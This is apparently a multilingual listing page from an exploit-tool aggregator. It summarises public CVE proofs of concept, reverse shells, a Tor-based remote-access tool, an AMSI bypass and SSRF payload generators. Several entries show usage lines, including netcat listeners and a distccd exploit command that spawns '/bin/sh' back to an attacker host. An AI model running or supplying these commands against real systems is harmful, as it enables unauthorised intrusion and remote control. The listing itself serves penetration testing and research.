cisco-rv-rce-poc

CVE-2023-20048 — PoC & Exploit per serie Cisco RV ⚠ AVVERTENZA: Solo per test autorizzati. Non utilizzare su sistemi di cui non sei proprietario o per i quali non hai autorizzazione scritta. Questo è un Proof of Concept per test autorizzati. Cos'è Piccolo repository con: CiscoPoc.py — PoC innocuo...

CVE-2017-12149

CVE-2017-12149 CVE-2017-12149 JBOSS as 6.X Deserialisierung Reverse-Shell-Version Basierend auf der Befehlszeilenversion des Autors in eine GUI-Oberfläche umgeschrieben Details:http://www.cnblogs.com/sevck/p/7874438.html...

CVE-2020-5902-rce-gui

CVE-2020-5902-RCE-Big-Exploit-Tool GUI-Version v1.0 Anweisungen zur Nutzung des Tools Bei der Befehlsausführung: Wenn die erste Ausführung fehlschlägt, führen Sie ihn mehrmals aus. Massenhafte Zieladressen-Erkennung Reverse Shell ausführen Einzelne Zieladressen-Erkennung Datei-Upload...

CVE-2020-14882_Exploit_Gui

CVE-2020-14882ExploitGui Lo strumento deve essere utilizzato solo in stato autorizzato. In caso di reati penali, gli attacchi non autorizzati non sono di mia responsabilità. Si prega di essere ben informati sulla 《网络安全法》 Durante un'attività di ricognizione, ho incontrato 14882 e non ho trovato un...

offsec-karaf-exploits

offsec-karaf-exploits Verwendung: root@kitploit: python exploit.py --help Beispiel: root@kitploit: python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 --lport=4444 --creds=karaf:karaf Payload neu erstellen Felix Framework einrichten 1. Erstelle das lib-Verzeichnis...

Gopherus

Gopherus Se conosci un luogo vulnerabile a SSRF, questo strumento ti aiuterà a generare payload Gopher per sfruttare SSRF Server Side Request Forgery e ottenere RCE Remote Code Execution. Ti aiuterà anche a ottenere una reverse shell sul server vittima. E per maggiori informazioni puoi consultare...

php-reverse-shell

php-reverse-shell...

CVE-2025-49132

CVE-2025-49132-POC Ho realizzato questo PoC per la mia sfida personale ispirandomi a 0xtensho Realizzato per un output più pulito e solo per reverse shell Utilizzo: root@kitploit: Change the host and the listener variable first python3 CVE-2025-49132POC.py Disclaimer DISCLAIMER LEGALE: Questo Pro...

WBCE-v1.6.3-Authenticated-RCE

WBCE CMS printerror$MESSAGE'GENERICINVALIDADDONFILE'; Una volta che il modulo supera questo controllo come "Add-On valido", qualsiasi script install.php viene automaticamente eseguito sul server. Questo exploit usa semplicemente una reverse shell PHP come payload PHP...

sagemcom-fast-3890-exploit

Sagemcom Fast 3890 Exploit Dieser Exploit nutzt die Cable-Haunt-Sicherheitslücke, um über den lokalen Netzwerkzugriff eine Shell auf dem Kabelmodem Sagemcom F@ST 3890 50.10.19 zu öffnen. Firmware-Version 50.10.21 oder neuer sollte gegen Cable Haunt sicher sein. Dieses Proof of Concept wurde...

Http-Asynchronous-Reverse-Shell

HTTP/S Asynchrone Reverse Shell ✨ Einführung In einer Zeit, in der fortschrittliche Erkennungssysteme wie IDS, IPS, EDR, AV und Firewalls in Unternehmensnetzwerken dominieren, ist es eine Herausforderung, sie bei Sicherheitsbewertungen zu umgehen. Die meisten Reverse Shells nutzen TCP-Tunnel L4,...

HRShell

HRShell: Una Reverse Shell HTTPS avanzata costruita con Flask HRShell è una reverse shell HTTPS/HTTP costruita con Flask ed è compatibile con python 3.x. client.py è stato testato con successo su: Linux Ubuntu 18.04 LTS, Kali Linux 2019.3 macOS Mojave/Catalina Windows 7/10 mentre server.py è...

TinkererShell

TinkererShell Una semplice reverse shell scritta in Python 3.7 solo per divertimento. Supporta Windows e Linux e integra alcune funzionalità di base come il keylogging e le comunicazioni crittografate AES. Sistemi operativi supportati: Windows Linux OSX Funzioni e caratteristiche: Connessione...

LAZYPARIAH

LAZYPARIAH Uno strumento da riga di comando a bassa dipendenza per generare payload di reverse shell al volo. Descrizione LAZYPARIAH è uno strumento da riga di comando semplice e facilmente installabile scritto in puro Ruby che può essere utilizzato durante test di penetrazione e competizioni...

FullBypass

FullBypass Ein Tool, das AMSI AntiMalware Scan Interface und PowerShell CLM Constrained Language Mode umgeht und Ihnen eine FullLanguage PowerShell Reverse Shell gibt. root@kitploit: P.S Please do not use in unethical hacking and follow all rules and regulations of laws Verwendung: Laden Sie...

CVE-2020-0796-RCE-POC

CVE-2020-0796 Proof of Concept di Esecuzione Remota di Codice c 2020 ZecOps, Inc. - https://www.zecops.com - Trova gli Errori degli Attaccanti Proof of Concept di Esecuzione Remota di Codice per CVE-2020-0796 / "SMBGhost" Risultato atteso: Reverse shell con accesso di sistema. Inteso solo per...

ToRat

Uno strumento di amministrazione remota multipiattaforma scritto in Go che utilizza Tor come meccanismo di trasporto, attualmente supporta client Windows, Linux e MacOS. DICHIARAZIONE DI NON RESPONSABILITÀ USARE SOLO A SCOPI EDUCATIVI Wiki Come usare l'immagine Docker di ToRat Anteprima Comandi d...

distccd_rce_CVE-2004-2687

O objetivo deste script NÃO é usar o Metasploit e fazê-lo manualmente. Uso: root@kitploit: nc -lvnp 4466 Executando o exploit: root@kitploit: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

CVE-2020-8165

CVE-2020-8165.py CVE-2020-8165 익스플로잇을 위한 셸: https://github.com/masahiro331/CVE-2020-8165 사용법: CVE-2020-8165.py IP IP:PORT root@kitploit: CVE-2020-8165.py 2.3.2.3 10.10.10.10:4444...

CVE-2023-50564

CVE-2023-50564 Come usare Prima imposta un listener per la reverse shell. Terminale 1 root@kitploit: nc -nlvp Esegui lo script che tenterà di installare un modulo pluck inviandoci la reverse shell. Terminale 2 root@kitploit: go run exploit.go -url -password -i -p...